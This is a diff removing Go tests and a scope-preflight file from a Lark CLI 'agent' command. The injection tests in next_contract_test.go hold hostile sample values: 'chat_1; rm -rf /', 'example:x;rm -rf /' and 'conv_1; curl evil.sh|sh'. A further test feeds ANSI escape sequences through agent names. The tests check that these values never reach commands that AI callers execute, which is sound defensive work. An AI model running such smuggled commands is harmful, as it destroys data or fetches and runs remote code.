-		p, _ := pv.(map[string]interface{})
-		if p["scheme"] == scheme {
-			return p
-		}
-	}
-	return nil
-}
-
-// TestAgentListRun_ProviderFieldsV2 pins the provider entry contract: the
-// example entry carries all fields sourced from iagent.Info (the single source
-// of truth), the legacy free-text description field is gone, and discoverable
-// is no longer exposed.
-func TestAgentListRun_ProviderFieldsV2(t *testing.T) {
-	opts, out := listFactory()
-	if err := agentListRun(opts); err != nil {
-		t.Fatalf("list should not error: %v", err)
-	}
-	info, ok := iagent.Info("example")
-	if !ok {
-		t.Fatal("the example provider should already be registered (blank import in agent.go)")
-	}
-	p := findProvider(decodeProviders(t, out), "example")
-	if p == nil {
-		t.Fatalf("list should include the example provider: %s", out.String())
-	}
-	if p["label"] != info.Label {
-		t.Errorf("label should come from ProviderInfo.Label %q, got %v", info.Label, p["label"])
-	}
-	if p["agent_ref_format"] != info.AgentRefFormat {
-		t.Errorf("agent_ref_format should come from ProviderInfo.AgentRefFormat %q, got %v", info.AgentRefFormat, p["agent_ref_format"])
-	}
-	if p["kind"] != string(info.Kind) {
-		t.Errorf("kind should come from ProviderInfo.Kind %q, got %v", info.Kind, p["kind"])
-	}
-	if p["agent_id_source"] != info.AgentIDSource {
-		t.Errorf("agent_id_source should come from ProviderInfo.AgentIDSource, got %v", p["agent_id_source"])
-	}
-	if _, present := p["description"]; present {
-		t.Errorf("the old description field should be removed (double-source with label), got %v", p)
-	}
-	if _, present := p["discoverable"]; present {
-		t.Errorf("the discoverable field should be removed from the provider list, got %v", p["discoverable"])
-	}
-}
-
-// TestAgentListRun_EnvelopeShape verifies the JSON envelope carries
-// data.providers[] with the full field contract.
-func TestAgentListRun_EnvelopeShape(t *testing.T) {
-	opts, out := listFactory()
-	if err := agentListRun(opts); err != nil {
-		t.Fatalf("list should not error: %v", err)
-	}
-	var env output.Envelope
-	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
-		t.Fatalf("output should be valid envelope JSON: %v (%s)", err, out.String())
-	}
-	if !env.OK {
-		t.Errorf("ok should be true: %+v", env)
-	}
-	providers := decodeProviders(t, out)
-	if len(providers) == 0 {
-		t.Fatalf("data.providers should be a non-empty array: %s", out.String())
-	}
-	first, ok := providers[0].(map[string]interface{})
-	if !ok {
-		t.Fatalf("provider entry should be an object, got %T", providers[0])
-	}
-	for _, key := range []string{"scheme", "label", "agent_ref_format", "kind", "agent_id_source"} {
-		if _, present := first[key]; !present {
-			t.Errorf("provider entry missing field %q: %v", key, first)
-		}
-	}
-	if _, present := first["discoverable"]; present {
-		t.Errorf("provider entry should not contain a discoverable field: %v", first)
-	}
-}
-
-// TestAgentListDefaultFormatIsJSON pins the default flip: `agent list`
-// without --format emits the JSON envelope (pretty is opt-in).
-func TestAgentListDefaultFormatIsJSON(t *testing.T) {
-	out := &bytes.Buffer{}
-	errOut := &bytes.Buffer{}
-	f := &cmdutil.Factory{IOStreams: &cmdutil.IOStreams{Out: out, ErrOut: errOut}}
-	cmd := NewCmdAgentList(f)
-	cmd.SetOut(&bytes.Buffer{})
-	cmd.SetErr(&bytes.Buffer{})
-	cmd.SetArgs([]string{})
-	if err := cmd.Execute(); err != nil {
-		t.Fatalf("agent list should not error: %v", err)
-	}
-	var env output.Envelope
-	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
-		t.Fatalf("default output should be a JSON envelope: %v (%s)", err, out.String())
-	}
-	if !env.OK {
-		t.Errorf("ok should be true: %+v", env)
-	}
-}
-
-// TestAgentListRun_PrettyFormat pins the opt-in --format pretty branch: a header
-// row plus tab-separated provider lines, not a JSON envelope.
-func TestAgentListRun_PrettyFormat(t *testing.T) {
-	out := &bytes.Buffer{}
-	errOut := &bytes.Buffer{}
-	f := &cmdutil.Factory{IOStreams: &cmdutil.IOStreams{Out: out, ErrOut: errOut}}
-	opts := &listOptions{Factory: f, Format: "pretty"}
-
-	if err := agentListRun(opts); err != nil {
-		t.Fatalf("list pretty should not error: %v", err)
-	}
-	text := out.String()
-	// A pretty rendering is human text, not a JSON envelope.
-	var env output.Envelope
-	if json.Unmarshal(out.Bytes(), &env) == nil && env.OK {
-		t.Fatalf("pretty format should not output a JSON envelope: %s", text)
-	}
-	if !strings.HasPrefix(text, "SCHEME") {
-		t.Errorf("pretty output should start with a header row: %s", text)
-	}
-	if !strings.Contains(text, "example") {
-		t.Errorf("pretty output should contain the example provider: %s", text)
-	}
-	if !strings.Contains(text, "example:<agent_id>") {
-		t.Errorf("pretty output should contain the example ref format: %s", text)
-	}
-	// agent_id_source is surfaced as a footer (not a column) so the newcomer's
-	// "where do I get an agent_id" cue does not disappear in the pretty view.
-	if !strings.Contains(text, "agent_id 获取") {
-		t.Errorf("pretty output should contain the agent_id_source footer hint: %s", text)
-	}
-}
-
-// TestAgentListScheme_UnsupportedCapability pins that `agent list fakeflow`
-// on a provider without Discoverer is unsupported_capability (exit 2) with the
-// AgentIDSource text as hint, and — because the probe runs before any client
-// construction — works on an unconfigured Factory.
-func TestAgentListScheme_UnsupportedCapability(t *testing.T) {
-	registerScripted()
-	opts, _ := listFactory()
-	opts.Scheme = "fakeflow"
-	err := agentListRun(opts)
-	if err == nil {
-		t.Fatal("fakeflow does not implement Discoverer, so list fakeflow should error")
-	}
-	if !errs.IsValidation(err) {
-		t.Fatalf("should be a validation error, got %T (%v)", err, err)
-	}
-	if code := output.ExitCodeOf(err); code != output.ExitValidation {
-		t.Fatalf("exit code should be 2, got %d", code)
-	}
-	p, ok := errs.ProblemOf(err)
-	if !ok || p.Subtype != errs.Subtype("unsupported_capability") {
-		t.Fatalf("subtype should be unsupported_capability, got %+v", p)
-	}
-	if !strings.Contains(err.Error(), "provider 'fakeflow' 暂不支持列举 agent") {
-		t.Errorf("message should state that listing is not supported, got %q", err.Error())
-	}
-	if !strings.Contains(p.Hint, fakeflowAgentIDSource) {
-		t.Errorf("hint should be the AgentIDSource text, got %q", p.Hint)
-	}
-}
-
-// TestAgentListScheme_UnknownScheme pins that an unregistered scheme is
-// invalid_argument and the message lists the registered schemes.
-func TestAgentListScheme_UnknownScheme(t *testing.T) {
-	opts, _ := listFactory()
-	opts.Scheme = "nosuch"
-	err := agentListRun(opts)
-	if err == nil {
-		t.Fatal("an unknown scheme should error")
-	}
-	if !errs.IsValidation(err) {
-		t.Fatalf("should be a validation error, got %T (%v)", err, err)
-	}
-	p, ok := errs.ProblemOf(err)
-	if !ok || p.Subtype != errs.SubtypeInvalidArgument {
-		t.Fatalf("subtype should be invalid_argument, got %+v", p)
-	}
-	if !strings.Contains(err.Error(), "nosuch") || !strings.Contains(err.Error(), "example") {
-		t.Errorf("message should contain the unknown scheme and the registered scheme list, got %q", err.Error())
-	}
-	// Hand-written validation errors carry a recovery hint pointing at
-	// `agent list` for provider discovery.
-	if !strings.Contains(p.Hint, "agent list") {
-		t.Errorf("unknown-scheme hint should point to `agent list`, got %q", p.Hint)
-	}
-}
-
-// stubCore wires the mandatory core fields onto a test *Provider; the list
-// tests never dispatch Send/GetTask (they only exercise ListAgents), but
-// Register requires both non-nil.
-func stubCore(p *iagent.Provider) *iagent.Provider {
-	p.Send = func(ctx context.Context, in iagent.SendInput) (*iagent.AgentTask, error) { return nil, nil }
-	p.GetTask = func(ctx context.Context, taskID string) (*iagent.AgentTask, error) { return nil, nil }
-	return p
-}
-
-// newFakeDisc is a test-only enumerable provider (wires ListAgents), to pin the
-// `agent list <scheme>` positive path without a real catalog provider.
-func newFakeDisc() *iagent.Provider {
-	return stubCore(&iagent.Provider{
-		ListAgents: func(ctx context.Context) ([]iagent.AgentSummary, error) {
-			return []iagent.AgentSummary{
-				{AgentRef: "fakedisc:a1", Name: "Agent One", Description: "第一个"},
-				{AgentRef: "fakedisc:a2", Name: "Agent Two"},
-			}, nil
-		},
-	})
-}
-
-// registerFakeDisc registers the fakedisc scheme. Like fakepause in
-// send_test.go this leaks into the package-level registry for the remaining
-// tests of this package run — so no test in this package may assert an exact
-// provider set or provider count.
-func registerFakeDisc() {
-	iagent.Register("fakedisc", iagent.ProviderInfo{
-		Factory:        func(deps iagent.Deps, agentID string) (*iagent.Provider, error) { return newFakeDisc(), nil },
-		Label:          "test fake (discoverer)",
-		AgentRefFormat: "fakedisc:<agent_id>",
-		AgentIDSource:  "test only",
-		Kind:           iagent.KindCatalog,
-		Identities:     []iagent.IdentitySpec{{Type: iagent.IdentityUser}},
-	})
-}
-
-// TestAgentListScheme_DiscovererListsAgents pins the positive path: a
-// provider implementing Discoverer yields {agents:[AgentSummary...]} plus
-// meta.count.
-func TestAgentListScheme_DiscovererListsAgents(t *testing.T) {
-	registerFakeDisc()
-	cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
-	f, _, _, _ := cmdutil.TestFactory(t, cfg)
-	cmd := &cobra.Command{Use: "list"}
-	cmd.SetContext(context.Background())
-	opts := &listOptions{Factory: f, Cmd: cmd, Format: "json", Scheme: "fakedisc"}
-	out := f.IOStreams.Out.(interface{ Bytes() []byte })
-
-	if err := agentListRun(opts); err != nil {
-		t.Fatalf("list fakedisc should not error: %v", err)
-	}
-	var env output.Envelope
-	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
-		t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
-	}
-	data, _ := env.Data.(map[string]interface{})
-	agents, ok := data["agents"].([]interface{})
-	if !ok || len(agents) != 2 {
-		t.Fatalf("data.agents should have 2 entries, got %v", data["agents"])
-	}
-	first, _ := agents[0].(map[string]interface{})
-	if first["agent_ref"] != "fakedisc:a1" || first["name"] != "Agent One" {
-		t.Errorf("agents[0] should be an AgentSummary {agent_ref, name}, got %v", first)
-	}
-	if env.Meta == nil || env.Meta.Count != 2 {
-		t.Errorf("meta.count should be 2, got %+v", env.Meta)
-	}
-}
-
-// TestAgentListScheme_PropagatesIdentity pins the Task 10 review item: the
-// provider rebuilt for the real ListAgents call must carry the resolved
-// identity in its Deps (aligned with resolveProvider), not a zero As.
-func TestAgentListScheme_PropagatesIdentity(t *testing.T) {
-	var captured iagent.Deps
-	iagent.Register("fakedeps", iagent.ProviderInfo{
-		Factory: func(deps iagent.Deps, agentID string) (*iagent.Provider, error) {
-			captured = deps
-			return newFakeDisc(), nil
-		},
-		Label:          "test fake (deps capture)",
-		AgentRefFormat: "fakedeps:<agent_id>",
-		AgentIDSource:  "test only",
-		Kind:           iagent.KindCatalog,
-		Identities:     []iagent.IdentitySpec{{Type: iagent.IdentityUser}},
-	})
-
-	cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
-	f, _, _, _ := cmdutil.TestFactory(t, cfg)
-	cmd := &cobra.Command{Use: "list"}
-	cmd.SetContext(context.Background())
-	opts := &listOptions{Factory: f, Cmd: cmd, Format: "json", Scheme: "fakedeps"}
-
-	if err := agentListRun(opts); err != nil {
-		t.Fatalf("list fakedeps should not error: %v", err)
-	}
-	if captured.As == "" {
-		t.Error("the rebuilt provider's Deps.As should carry the resolved identity, got empty")
-	}
-	if captured.As != f.ResolvedIdentity {
-		t.Errorf("Deps.As should match the Factory's resolved identity, got %q vs %q", captured.As, f.ResolvedIdentity)
-	}
-}
-
-// newDirtyName is an enumerable provider whose agent names carry ANSI escapes,
-// to pin the pretty-path sanitization of agent-controlled fields.
-func newDirtyName() *iagent.Provider {
-	return stubCore(&iagent.Provider{
-		ListAgents: func(ctx context.Context) ([]iagent.AgentSummary, error) {
-			return []iagent.AgentSummary{
-				{AgentRef: "fakedirty:a1", Name: "\x1b[31mEvil\x1b[0m One", Description: "d\x1b[2Jesc"},
-			}, nil
-		},
-	})
-}
-
-// TestAgentListScheme_PrettyStripsANSI pins the Task 10 review item: `agent list
-// <scheme> --format pretty` must strip ANSI escapes from the agent-controlled
-// Name/Description before they reach the terminal.
-func TestAgentListScheme_PrettyStripsANSI(t *testing.T) {
-	iagent.Register("fakedirty", iagent.ProviderInfo{
-		Factory:        func(deps iagent.Deps, agentID string) (*iagent.Provider, error) { return newDirtyName(), nil },
-		Label:          "test fake (dirty names)",
-		AgentRefFormat: "fakedirty:<agent_id>",
-		AgentIDSource:  "test only",
-		Kind:           iagent.KindCatalog,
-		Identities:     []iagent.IdentitySpec{{Type: iagent.IdentityUser}},
-	})
-
-	cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
-	f, _, _, _ := cmdutil.TestFactory(t, cfg)
-	cmd := &cobra.Command{Use: "list"}
-	cmd.SetContext(context.Background())
-	opts := &listOptions{Factory: f, Cmd: cmd, Format: "pretty", Scheme: "fakedirty"}
-	out := f.IOStreams.Out.(interface{ Bytes() []byte })
-
-	if err := agentListRun(opts); err != nil {
-		t.Fatalf("list fakedirty pretty should not error: %v", err)
-	}
-	text := string(out.Bytes())
-	if strings.Contains(text, "\x1b") {
-		t.Errorf("ANSI sequences in agent Name/Description must be stripped: %q", text)
-	}
-	if !strings.Contains(text, "Evil One") || !strings.Contains(text, "desc") {
-		t.Errorf("readable text should remain after stripping, got %q", text)
-	}
-}
-
-// TestAgentListJqFlagRegisteredAndConsumed pins the quality-review fix: the
-// --jq flag must be registered on `agent list` and filter the envelope.
-func TestAgentListJqFlagRegisteredAndConsumed(t *testing.T) {
-	out := &bytes.Buffer{}
-	errOut := &bytes.Buffer{}
-	f := &cmdutil.Factory{IOStreams: &cmdutil.IOStreams{Out: out, ErrOut: errOut}}
-	cmd := NewCmdAgentList(f)
-	cmd.SetOut(&bytes.Buffer{})
-	cmd.SetErr(&bytes.Buffer{})
-	cmd.SetContext(context.Background())
-	cmd.SetArgs([]string{"--jq", ".ok"})
-	if err := cmd.Execute(); err != nil {
-		t.Fatalf("agent list --jq should not error: %v", err)
-	}
-	if got := strings.TrimSpace(out.String()); got != "true" {
-		t.Errorf("--jq .ok should output only true, got %q", got)
-	}
-}
-
-// TestNewCmdAgentList_ReadRisk pins the read risk annotation, the json default
-// of --format, the --jq flag presence, and that list takes at most one
-// positional arg (the scheme).
-func TestNewCmdAgentList_ReadRisk(t *testing.T) {
-	cmd := NewCmdAgentList(nil)
-	if level, ok := cmdutil.GetRisk(cmd); !ok || level != cmdutil.RiskRead {
-		t.Errorf("agent list should be marked read risk, got level=%q ok=%v", level, ok)
-	}
-	fl := cmd.Flags().Lookup("format")
-	if fl == nil {
-		t.Fatal("agent list should have a --format flag")
-	}
-	if fl.DefValue != "json" {
-		t.Errorf("--format default should flip to json, got %q", fl.DefValue)
-	}
-	if cmd.Flags().Lookup("jq") == nil {
-		t.Error("agent list should have a --jq flag")
-	}
-	if err := cmd.Args(cmd, []string{}); err != nil {
-		t.Errorf("agent list with no args should be valid: %v", err)
-	}
-	if err := cmd.Args(cmd, []string{"example"}); err != nil {
-		t.Errorf("agent list <scheme> should be valid: %v", err)
-	}
-	if err := cmd.Args(cmd, []string{"example", "extra"}); err == nil {
-		t.Error("agent list with more than 1 positional argument should error (MaximumNArgs 1)")
-	}
-}

cmd/agent/next_contract_test.go

@@ -1,218 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-import (
-	"strings"
-	"testing"
-
-	iagent "github.com/larksuite/cli/internal/agent"
-)
-
-// allTaskStates is the full 9-state A2A enum (internal/agent/state.go), so the
-// contract test automatically covers any future nextForTask branch keyed on a
-// state instead of relying on hand-picked samples.
-var allTaskStates = []iagent.TaskState{
-	iagent.StateSubmitted,
-	iagent.StateWorking,
-	iagent.StateInputRequired,
-	iagent.StateAuthRequired,
-	iagent.StateCompleted,
-	iagent.StateFailed,
-	iagent.StateCanceled,
-	iagent.StateRejected,
-	iagent.StateUnknown,
-}
-
-// TestNextForTaskCommandsParseAgainstRealTree is the meta.next contract test:
-// every next command emitted by nextForTask — across all 9 task states, with
-// and without a context id, template hints included (their <...> placeholders
-// are single space-free tokens, so they parse as ordinary flag values) — must
-// traverse and flag-parse against the real agent command tree. meta.next is
-// defined as "AI executes this verbatim", so a next that references a
-// nonexistent flag (e.g. --wait on task get) is a broken contract, caught here
-// at build time instead of by a failing acceptance run.
-func TestNextForTaskCommandsParseAgainstRealTree(t *testing.T) {
-	// GIVEN: the real agent subtree (nil Factory: construction-time only, no
-	// credentials; all meta.next commands live under `lark-cli agent ...`).
-	agentTree := NewCmdAgent(nil)
-
-	for _, state := range allTaskStates {
-		for _, ctxID := range []string{"", "conversation_1"} {
-			task := &iagent.AgentTask{
-				TaskID:     "chat_1",
-				ContextID:  ctxID,
-				State:      state,
-				IsTerminal: state.IsTerminal(),
-			}
-			next := nextForTask("example:agent_x", task)
-			if len(next) == 0 {
-				t.Fatalf("state %s (ctx %q): legit task must produce next hints", state, ctxID)
-			}
-			for _, n := range next {
-				if state == iagent.StateAuthRequired {
-					// auth_required is an agent-side task state whose next step is
-					// the auth (re-authorize) flow, so it legitimately points OUT
-					// of the agent subtree and is not traversable against
-					// agentTree; assert its shape and skip the agent traversal.
-					if !strings.HasPrefix(n.Command, "lark-cli auth login") || !strings.Contains(n.Command, "--scope") {
-						t.Fatalf("auth_required next should point to auth login --scope, got %q", n.Command)
-					}
-					continue
-				}
-				if !strings.HasPrefix(n.Command, "lark-cli agent ") {
-					t.Fatalf("next %q must target the agent subtree", n.Command)
-				}
-				// WHEN: the command string is parsed against the real tree.
-				argv := strings.Fields(strings.TrimPrefix(n.Command, "lark-cli agent "))
-				c, flags, err := agentTree.Traverse(argv)
-				// THEN: it traverses to a leaf and its flags all exist.
-				if err != nil {
-					t.Fatalf("state %s (ctx %q): next %q not traversable: %v", state, ctxID, n.Command, err)
-				}
-				if c == agentTree {
-					t.Fatalf("state %s (ctx %q): next %q did not reach a subcommand", state, ctxID, n.Command)
-				}
-				if err := c.ParseFlags(flags); err != nil {
-					t.Fatalf("state %s (ctx %q): next %q flags invalid: %v", state, ctxID, n.Command, err)
-				}
-			}
-		}
-	}
-}
-
-// TestNextForTaskRejectsInjectionIDs pins the security whitelist: a
-// server-supplied task_id that is not pure [A-Za-z0-9_-] must suppress the
-// whole next entry (omit rather than risk injection), in every state —
-// meta.next commands are executed verbatim by AI callers, so shell
-// metacharacters in an interpolated id are command injection.
-func TestNextForTaskRejectsInjectionIDs(t *testing.T) {
-	for _, bad := range []string{"chat_1; rm -rf /", "chat `x`", "chat 1", `chat"1"`, "chat$(x)", "chat|x"} {
-		for _, state := range allTaskStates {
-			task := &iagent.AgentTask{TaskID: bad, State: state}
-			if next := nextForTask("example:agent_x", task); len(next) != 0 {
-				t.Fatalf("injection task_id %q (state %s) must suppress next, got %+v", bad, state, next)
-			}
-		}
-	}
-}
-
-// TestNextForTaskRejectsUnsafeRef pins the ref whitelist:
-// the user-echoed ref is interpolated into every next command, so a ref that
-// is not <charset>:<charset> (exactly one ':', [A-Za-z0-9_-] on both sides)
-// suppresses the whole hint — a ref with spaces/quotes would make the command
-// un-copy-pasteable at best and an injection surface at worst.
-func TestNextForTaskRejectsUnsafeRef(t *testing.T) {
-	task := &iagent.AgentTask{TaskID: "chat_1", State: iagent.StateWorking}
-	for _, bad := range []string{"example:agent x", "example:x;rm -rf /", "example", "a:b:c", "example:$(x)", `example:"x"`, ":x", "example:"} {
-		if next := nextForTask(bad, task); len(next) != 0 {
-			t.Errorf("unsafe ref %q should suppress the whole next, got %+v", bad, next)
-		}
-	}
-	if next := nextForTask("example:agent_x", task); len(next) == 0 {
-		t.Error("valid ref example:agent_x should keep next")
-	}
-}
-
-// TestNextForTaskDegradesInjectionContextID pins the context_id whitelist with
-// its degradation semantics: a legit task_id with an injection-shaped
-// context_id (input_required branch interpolates both) keeps the hint but
-// replaces the dirty id with the <context_id> placeholder — Template:true, no
-// untrusted content interpolated.
-func TestNextForTaskDegradesInjectionContextID(t *testing.T) {
-	dirty := "conv_1; curl evil.sh|sh"
-	task := &iagent.AgentTask{
-		TaskID:    "chat_1",
-		ContextID: dirty,
-		State:     iagent.StateInputRequired,
-	}
-	next := nextForTask("example:agent_x", task)
-	if len(next) != 1 {
-		t.Fatalf("dirty context_id must degrade, not drop the hint, got %+v", next)
-	}
-	if !next[0].Template {
-		t.Errorf("degraded hint must be template=true, got %+v", next[0])
-	}
-	if !strings.Contains(next[0].Command, "<context_id>") {
-		t.Errorf("degraded hint must use the <context_id> placeholder: %q", next[0].Command)
-	}
-	if strings.Contains(next[0].Command, "conv_1") {
-		t.Errorf("dirty context_id leaked into the command: %q", next[0].Command)
-	}
-}
-
-// TestNextForTaskAuthRequiredPointsToAuth pins F6: auth_required is an
-// agent-side task state (the end user must (re)authorize in the agent), NOT a
-// text-continuation like input_required. Its next must point at the auth
-// re-authorize flow (auth login --scope), never reuse the text-continuation
-// send hint.
-func TestNextForTaskAuthRequiredPointsToAuth(t *testing.T) {
-	task := &iagent.AgentTask{TaskID: "chat_1", ContextID: "conv_1", State: iagent.StateAuthRequired}
-	next := nextForTask("example:agent_x", task)
-	if len(next) != 1 {
-		t.Fatalf("auth_required should produce 1 next, got %+v", next)
-	}
-	// Must NOT be the input_required text-continuation hint.
-	if strings.Contains(next[0].Command, "agent send") || strings.Contains(next[0].Command, "--text") {
-		t.Fatalf("auth_required should not reuse the text-continuation hint, got %q", next[0].Command)
-	}
-	// Must point at the auth (re-authorize) flow.
-	if !strings.HasPrefix(next[0].Command, "lark-cli auth login") || !strings.Contains(next[0].Command, "--scope") {
-		t.Fatalf("auth_required should point to auth login --scope, got %q", next[0].Command)
-	}
-	// The concrete scopes come from the card, so the command carries a
-	// placeholder and must be marked template.
-	if !next[0].Template {
-		t.Errorf("contains a placeholder, should be Template=true, got %+v", next[0])
-	}
-}
-
-// TestNextForTaskWatchNotWait pins the flag-name fix and the bounded-watch
-// default: task get has --watch, not --wait, and the poll hint must suggest a
-// BOUNDED watch (`--watch --timeout <default>`) so an AI caller neither blocks
-// forever on a long task nor self-hammers with unbounded polls.
-func TestNextForTaskWatchNotWait(t *testing.T) {
-	next := nextForTask("example:agent_x", &iagent.AgentTask{TaskID: "chat_1", State: iagent.StateWorking})
-	if len(next) == 0 {
-		t.Fatal("working task must produce a poll next")
-	}
-	if !strings.Contains(next[0].Command, "--watch") || strings.Contains(next[0].Command, "--wait") {
-		t.Fatalf("poll next must use --watch: %+v", next)
-	}
-	wantTimeout := "--timeout " + defaultWatchTimeout.String()
-	if !strings.Contains(next[0].Command, wantTimeout) {
-		t.Fatalf("poll next must be bounded with %q, got %+v", wantTimeout, next)
-	}
-}
-
-// TestNextForTaskTemplateFlag pins the template marker semantics: the
-// input_required continue hint carries a <你的答复> placeholder, so it must be
-// marked template=true (not directly executable); poll and terminal-detail
-// hints are verbatim-executable and must not carry the marker.
-func TestNextForTaskTemplateFlag(t *testing.T) {
-	// input_required with a known context: placeholder in --text → template.
-	cont := nextForTask("example:agent_x", &iagent.AgentTask{
-		TaskID: "chat_1", ContextID: "conv_1", State: iagent.StateInputRequired,
-	})
-	if len(cont) != 1 || !cont[0].Template {
-		t.Fatalf("input_required next must be template=true, got %+v", cont)
-	}
-	// input_required without a context id: <context_id> placeholder → template.
-	contNoCtx := nextForTask("example:agent_x", &iagent.AgentTask{
-		TaskID: "chat_1", State: iagent.StateInputRequired,
-	})
-	if len(contNoCtx) != 1 || !contNoCtx[0].Template {
-		t.Fatalf("input_required (no ctx) next must be template=true, got %+v", contNoCtx)
-	}
-	// Poll and terminal-detail hints are directly executable → no template flag.
-	for _, task := range []*iagent.AgentTask{
-		{TaskID: "chat_1", State: iagent.StateWorking},
-		{TaskID: "chat_1", State: iagent.StateCompleted, IsTerminal: true},
-	} {
-		next := nextForTask("example:agent_x", task)
-		if len(next) != 1 || next[0].Template {
-			t.Fatalf("state %s next must be executable (template unset), got %+v", task.State, next)
-		}
-	}
-}

cmd/agent/preflight.go

@@ -1,133 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-import (
-	"sort"
-	"strings"
-
-	"github.com/larksuite/cli/errs"
-	iagent "github.com/larksuite/cli/internal/agent"
-	larkauth "github.com/larksuite/cli/internal/auth"
-	"github.com/larksuite/cli/internal/cmdutil"
-	"github.com/larksuite/cli/internal/core"
-)
-
-// This file implements the local scope preflight: after
-// resolveProvider succeeds and before the real API call, the stored user
-// token's scope list is checked against the provider's RequiredScopes
-// declaration. The check is all-or-nothing — any real API verb requires the
-// provider's entire scope set. It is entirely local — the scope list is read
-// from the credential cache (keychain), never from the network — so a missing
-// scope surfaces as an actionable validation error (exit 2) instead of a
-// round-trip API 99991679. `--dry-run` never reaches it (dry-run returns before
-// resolveProvider), preserving its always-available contract.
-
-// storedUserScopes is the token-scope read seam: it returns the granted scope
-// list of the stored user token from the LOCAL credential cache (keychain via
-// GetStoredToken — same read path as `auth check`), issuing no network
-// request. nil/empty means "no usable local scope list" and the caller skips
-// preflight. Tests swap it so no unit test touches the real keychain.
-var storedUserScopes = func(f *cmdutil.Factory) []string {
-	if f == nil || f.Config == nil {
-		return nil
-	}
-	config, err := f.Config()
-	if err != nil || config == nil || config.UserOpenId == "" {
-		return nil
-	}
-	stored := larkauth.GetStoredToken(config.AppID, config.UserOpenId)
-	if stored == nil {
-		return nil
-	}
-	return strings.Fields(stored.Scope)
-}
-
-// preflightInput is the pure input of preflightScopes, so the check itself is
-// unit-testable without a Factory, keychain, or provider client.
-type preflightInput struct {
-	Identity    core.Identity
-	TokenScopes []string
-	Info        iagent.ProviderInfo
-}
-
-// preflightScopes runs the local scope check. It returns nil when the check
-// does not apply — bot identity (a tenant token has no scope-list concept; the
-// API error + errclass hint own that path) or an unreadable/empty local scope
-// list (the downstream not_configured / need-authorization logic owns that).
-// The check is all-or-nothing: when any scope in the provider's RequiredScopes
-// set is not granted it returns the missing_scope permission error
-// (exit 3, mirroring the event-consume scope preflight) carrying every missing
-// scope, with a re-auth hint whose --scope
-// merges the stored grants with the provider's FULL RequiredScopes set — auth
-// login --scope REPLACES the grant, so the hint must be copy-paste-safe
-// without dropping existing permissions.
-func preflightScopes(in preflightInput) error {
-	if in.Identity != core.AsUser || len(in.TokenScopes) == 0 {
-		return nil
-	}
-
-	granted := make(map[string]bool, len(in.TokenScopes))
-	for _, s := range in.TokenScopes {
-		granted[s] = true
-	}
-
-	var missing []string
-	for _, scope := range in.Info.RequiredScopes {
-		if !granted[scope] {
-			missing = append(missing, scope)
-		}
-	}
-	if len(missing) == 0 {
-		return nil
-	}
-	sort.Strings(missing)
-
-	// Merged re-auth scope set: existing grants ∪ the provider's FULL
-	// RequiredScopes, sorted for stability.
-	mergedSet := make(map[string]bool, len(in.TokenScopes)+len(in.Info.RequiredScopes))
-	for _, s := range in.TokenScopes {
-		mergedSet[s] = true
-	}
-	for _, s := range in.Info.RequiredScopes {
-		mergedSet[s] = true
-	}
-	merged := make([]string, 0, len(mergedSet))
-	for s := range mergedSet {
-		merged = append(merged, s)
-	}
-	sort.Strings(merged)
-
-	return errs.NewPermissionError(errs.SubtypeMissingScope,
-		"当前 user 身份缺少本命令所需 scope: %s", strings.Join(missing, ", ")).
-		WithIdentity(string(core.AsUser)).
-		WithMissingScopes(missing...).
-		WithHint("一次性补齐该 agent 全部所需 scope（已合并现有授权，照抄不丢权限）: lark-cli auth login --scope \"%s\"",
-			strings.Join(merged, " "))
-}
-
-// preflightScopesForRef is the command-layer wiring: it resolves the provider
-// registration for ref's scheme, reads the stored user scopes through the
-// seam, and runs the all-or-nothing preflight. Any gap in its own inputs (nil
-// Factory, unparsable ref, unregistered scheme) yields nil — the preflight is
-// an accelerator, never a new failure mode; the paths that validate ref/scheme
-// for real have already run inside resolveProvider.
-func preflightScopesForRef(f *cmdutil.Factory, id core.Identity, ref string) error {
-	if f == nil || id != core.AsUser {
-		return nil
-	}
-	r, err := iagent.ParseRef(ref)
-	if err != nil {
-		return nil //nolint:nilerr // preflight is best-effort: resolveProvider already surfaced any real ref error
-	}
-	info, ok := iagent.Info(r.Scheme)
-	if !ok {
-		return nil
-	}
-	return preflightScopes(preflightInput{
-		Identity:    id,
-		TokenScopes: storedUserScopes(f),
-		Info:        info,
-	})
-}

cmd/agent/preflight_test.go

@@ -1,365 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-import (
-	"context"
-	"errors"
-	"reflect"
-	"strings"
-	"testing"
-
-	"github.com/spf13/cobra"
-
-	"github.com/larksuite/cli/errs"
-	iagent "github.com/larksuite/cli/internal/agent"
-	"github.com/larksuite/cli/internal/cmdutil"
-	"github.com/larksuite/cli/internal/core"
-	"github.com/larksuite/cli/internal/httpmock"
-	"github.com/larksuite/cli/internal/output"
-)
-
-// scopedInfo fetches the registered fakescoped ProviderInfo (4 RequiredScopes,
-// see scripted_provider_test.go) — the all-or-nothing preflight requires every
-// one of fakescopedAllScopes for any real API verb.
-func scopedInfo(t *testing.T) iagent.ProviderInfo {
-	t.Helper()
-	registerScripted()
-	info, ok := iagent.Info("fakescoped")
-	if !ok {
-		t.Fatal("fakescoped provider should be registered")
-	}
-	return info
-}
-
-// requirePreflightError asserts err is the missing_scope permission error
-// (exit 3, mirroring the event-consume scope preflight) and returns the typed
-// value for field assertions.
-func requirePreflightError(t *testing.T, err error) *errs.PermissionError {
-	t.Helper()
-	if err == nil {
-		t.Fatal("want missing_scope error, got nil")
-	}
-	var pe *errs.PermissionError
-	if !errors.As(err, &pe) {
-		t.Fatalf("want *errs.PermissionError, got %T: %v", err, err)
-	}
-	if pe.Subtype != errs.SubtypeMissingScope {
-		t.Fatalf("subtype should be missing_scope, got %q", pe.Subtype)
-	}
-	if code := output.ExitCodeOf(err); code != 3 {
-		t.Fatalf("exit code should be 3, got %d", code)
-	}
-	return pe
